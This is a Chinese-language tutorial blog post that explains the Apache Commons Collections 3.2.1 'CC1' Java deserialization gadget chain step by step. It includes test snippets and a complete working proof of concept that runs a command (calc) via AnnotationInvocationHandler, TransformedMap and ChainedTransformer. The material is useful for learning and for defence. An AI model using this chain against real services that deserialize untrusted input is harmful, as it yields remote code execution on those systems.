JAVA反序列化漏洞-CC1链

发布于 2024-08-13  150 次阅读


CC1链

jdk版本需要在8u71之前,8u71之后修改了AnnotationInvocationHandler的readObject方法中的setValue,71之前的版本这个类下只有变量名略有不同,逻辑都是一样的
pom.xml中加入CommonCollections3.2.1版本的依赖,mvn安装

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>testCC1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

</project>

包内部

链子的最终利用点来自org.apache.commons.collections.functors.InvokerTransformer的transform方法
image_mak
这里可以执行一个任意对象任意方法,其中输入是执行方法的对象,而要执行的方法的方法名、参数以及参数类型都是可控的,在类的构造函数中传入:
image_mak
测试一下此函数:

        InvokerTransformer obj = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        Runtime r = Runtime.getRuntime();

        obj.transform(r);

发现成功弹计算器。
那么如何通过序列化的入口实现此函数呢?
找到同包下该函数的实现点,看到TransformedMap中的checkSetValue方法:
image_mak
这是一个protect修饰的方法,不能外部调用。跟进,找到它在父类的唯一实现点,在AbstractInputCheckedMapDecorator类的setValue方法中:
image_mak
这是一个内部类MapEntry的方法,找到MapEntry内部类的一个实现点,在另一个内部类EntrySetIterator的next中:
image_mak
而内部类EntrySetIterator的是实现点在内部类EntrySet的iterator方法中:
image_mak
而内部类EntrySet的实现点在外部类的public方法EntrySet中:
image_mak
其中,isSetValueChecking固定返回ture
image_mak
因此一定会走上面的分支,返回内部类EntrySet的对象。

这些方法都重写自Map类,因此和利用Entry遍历Map的过程一样,如果我们能创建一个TransformedMap对象tfmap,使用

for(Map.Entry entry:tfmap.entrySet())

去对其进行遍历,那么首先会调用重写的EntrySet返回内部类EntrySet的实例,遍历的时候,该EntrySet实例又会调用重写的iterator方法返回内部类EntrySetIterator的实例,该实例作为循环的迭代器对象,首先执行没有被重写的来自Map的hasNext()函数来判断是否进行迭代,我们可以通过传给tfmap一个已经定义好的Map对象来控制其为true,然后该迭代器执行重写的next函数返回内部类MapEntry的实例,作为每一次循环的Entry变量,最后我们在循环中用此变量执行setValue,就会执行TransformedMap重写的setValue方法。

再看一下变量的传递,我们的TransformedMap对象在进行EntrySet的时候,将自身this作为参数传给了内部类EntrySet的构造器作为参数,然后一级一级MapEntry调用的时候都作为每一个内部类的属性parent,一直传递到内部类MapEntry,作为checkSetValue的主体,从而预期地执行TransformedMap的checkSetValue,而checkSetValue的参数由上一级setValue给到,而checkSetValue的下一级正是把参数给到transform作为参数,transform需要参数r,因此setValue参数就是我们的r。然后主体是TransformedMap对象的属性valueTransformer,这个同样在构造器中构造,可控,我们创建TransformedMap对象的时候就可以设置好。

同时,由于TransformedMap的构造器是protect属性,不能直接外部构造:
image_mak
需要调用其decorate方法来构造
image_mak
因此可以写出测试代码:

        InvokerTransformer obj = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        Runtime r = Runtime.getRuntime();

//        obj.transform(r);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("123","321");//构建好Map对象用于遍历
        Map<Object,Object> tfmap = TransformedMap.decorate(map,null,obj);
        for(Map.Entry entry:tfmap.entrySet()){
            entry.setValue(r);
        } //希望执行的CC包入口函数

成功弹出计算器。

包外部

想要通过反序列化执行上面的setValue,就需要找到一个满足条件的类,该类的readObject方法可以执行可控对象的setValue方法
在sun.reflect.annotation.AnnotationInvocationHandler中,其readObject方法可以执行setValue:
image_mak
该类构造器对包外不开放(非public):
image_mak
因此对象只能通过反射创建:

Class aicls  = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aicons = aicls.getDeclaredConstructor(Class.class,Map.class);
aicons.setAccessible(true);

看一下参数的传递,setValue的主体var5:
image_mak
可以看到和之前的遍历Map过程一模一样,因此把memberValues属性在构造器中设为tfmap即可

当然还要考虑程序能够顺利执行到setValue,在执行setValue方法之前有这几句比较关键:
image_mak
首先获取了属性type的注解实例,通过memberTypes把注解的属性值变为Map对象,然后,把之前我们给的tfmap的map的EntrySet拿到的entry进行getkey,拿到键名,通过get去注解的属性值里找getkey拿到的键名对应的属性名的属性值。接下来的if判断需要该属性值不为null,才能进行setValue。

因此我们需要将type设置为一个有属性的注解,如Target注解(含有属性value)
然后将tfmap的map值的键设为"value"即可
还有两个问题没有解决,先就目前写一个虚假的POC:

public class Main {
    public static void serialize(Object o) throws Exception{
        ObjectOutputStream objout = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        objout.writeObject(o);
    }

    public static void unserialize() throws Exception{
        ObjectInputStream objinp = new ObjectInputStream(new FileInputStream("ser.txt"));
        objinp.readObject();
    }
    public static void main(String[] args) throws Exception {
    InvokerTransformer obj = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    Runtime r = Runtime.getRuntime();

//        obj.transform(r);

    HashMap<Object,Object> map = new HashMap<>();
    map.put("value","321");//构建好Map对象用于遍历
    Map<Object,Object> tfmap = TransformedMap.decorate(map,null,obj);
    // for(Map.Entry entry:tfmap.entrySet()){
    //     entry.setValue(r);
    // }

    //通过反射创建AnnotationInvocationHandler
    Class aicls  = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor aicons = aicls.getDeclaredConstructor(Class.class,Map.class);
    aicons.setAccessible(true);
    Object aiobj = aicons.newInstance(Target.class,tfmap);

    serialize(aiobj);
    unserialize();

很明显不行,setValue的参数要给我们的r,我们根本没有给入,而且这里setValue的参数似乎是不可控的:
image_mak
同时,Runtime.getRuntime()返回的对象currentRuntime是不可序列化的,不能当作参数给入,怎么办呢

两个问题:currentRuntime不可序列化,setValue参数不可控

currentRuntime不可序列化

image_mak
因此如果可以传入Runtime.class,利用多个transform方法,分别通过反射机制调出getRuntime方法,再执行方法调出currentRuntime,最后执行exec方法,就可以做到传入Runtime.class以反序列化来rce。
像这样:

Class runtimeClass = Runtime.class;
//获得getruntime方法
Object getruntime = new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(runtimeClass);

//使用getRuntime方法获得currentRuntime
Object currentRuntime = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntime);

//使用currenRuntime执行exec("calc")
Object o = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(currentRuntime);

发现前一个transform的结果都是下一个transform的参数,而CC包内的ChainedTransformer类重写的transform方法刚好能做到这点
image_mak
而iTransformers是一个Transformer对象数组,由构造器传入:
image_mak
测试一下:

Class runtimeClass = Runtime.class;
Transformer[] transes = new Transformer[]{new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
ChainedTransformer chtfm = new ChainedTransformer(transes);
chtfm.transform(runtimeClass);

成功弹出计算器

最后一个问题,setValue的参数不可控,如何把我们的runtimeClass传给“transformer链”的第一个transformer呢?
要是能在“transformer链”的最前面加一个transformer,它的transform方法无论输入什么作为参数,都能返回固定且可控的值就好了
而ConstantTransformer就能做到这一点,这是他的构造器和重写的transform方法:
image_mak
可以无视参数输入,返回固定的对象iConstant。
因此如果我们在chainedTransformer中,在所有transformer的最前面加一个ConstantTransformer,固定返回runtimeClass,就能做到无视setValue的参数。
也就是这样:

setValue(Unknown Object) ->
    ChainedTransformer.transform(Unknown Object)->
        ConstantTransformer.transform(Unknown Object) ->
        InvokerTransformer.transform(runtimeClass) ->
        InvokerTransformer.transform(getRuntime) ->
        InvokerTransformer.transform(currentRuntime)

最终gadget以及POC

至此所有问题解决,完整POC:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void serialize(Object o) throws Exception{
        ObjectOutputStream objout = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        objout.writeObject(o);
    }

    public static void unserialize() throws Exception{
        ObjectInputStream objinp = new ObjectInputStream(new FileInputStream("ser.txt"));
        objinp.readObject();
    }

    public static void main(String[] args) throws Exception {
//        InvokerTransformer obj = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//        Runtime r = Runtime.getRuntime();

//        obj.transform(r);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","321");//构建好Map对象用于遍历
//        Map<Object,Object> tfmap = TransformedMap.decorate(map,null,obj);
//        for(Map.Entry entry:tfmap.entrySet()){
//            entry.setValue(r);
//        } //希望执行的CC包入口函数

        Class runtimeClass = Runtime.class;
//        //获得getruntime方法
//        Object getruntime = new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(runtimeClass);
//
//        //使用getRuntime方法获得currentRuntime
//        Object currentRuntime = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntime);
//
//        //使用currenRuntime执行exec("calc")
//        Object o = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(currentRuntime);

        Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
        ChainedTransformer chtfm = new ChainedTransformer(transes);
//        chtfm.transform(runtimeClass);
        Map<Object,Object> tfmap = TransformedMap.decorate(map,null,chtfm);
//// Map.entry(any,chtfm).setValue(runtimeclass)
//
//
        Class aicls  = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aicons = aicls.getDeclaredConstructor(Class.class,Map.class);
        aicons.setAccessible(true);
        Object aiobj = aicons.newInstance(Target.class,tfmap);
        serialize(aiobj);
        unserialize();

    }
}

运行POC,成功弹出计算器
image_mak
整理一下链子:

AnnotationInvocationHandler.readObject ->

TransformedMap.EntrySet ->

AbstractInputCheckedMapDecorator.EntrySet ->

AbstractInputCheckedMapDecorator.EntrySet.iterator ->

AbstractInputCheckedMapDecorator.EntrySetIterator.next ->

AbstractInputCheckedMapDecorator.MapEntry.setValue ->

TransformedMap.checkSetValue ->

ChainedTransformer.transform ->

InvokerTransformer.transform ->

Runtime.getRuntime().exec
A web ctfer from 0RAYS
最后更新于 2024-08-24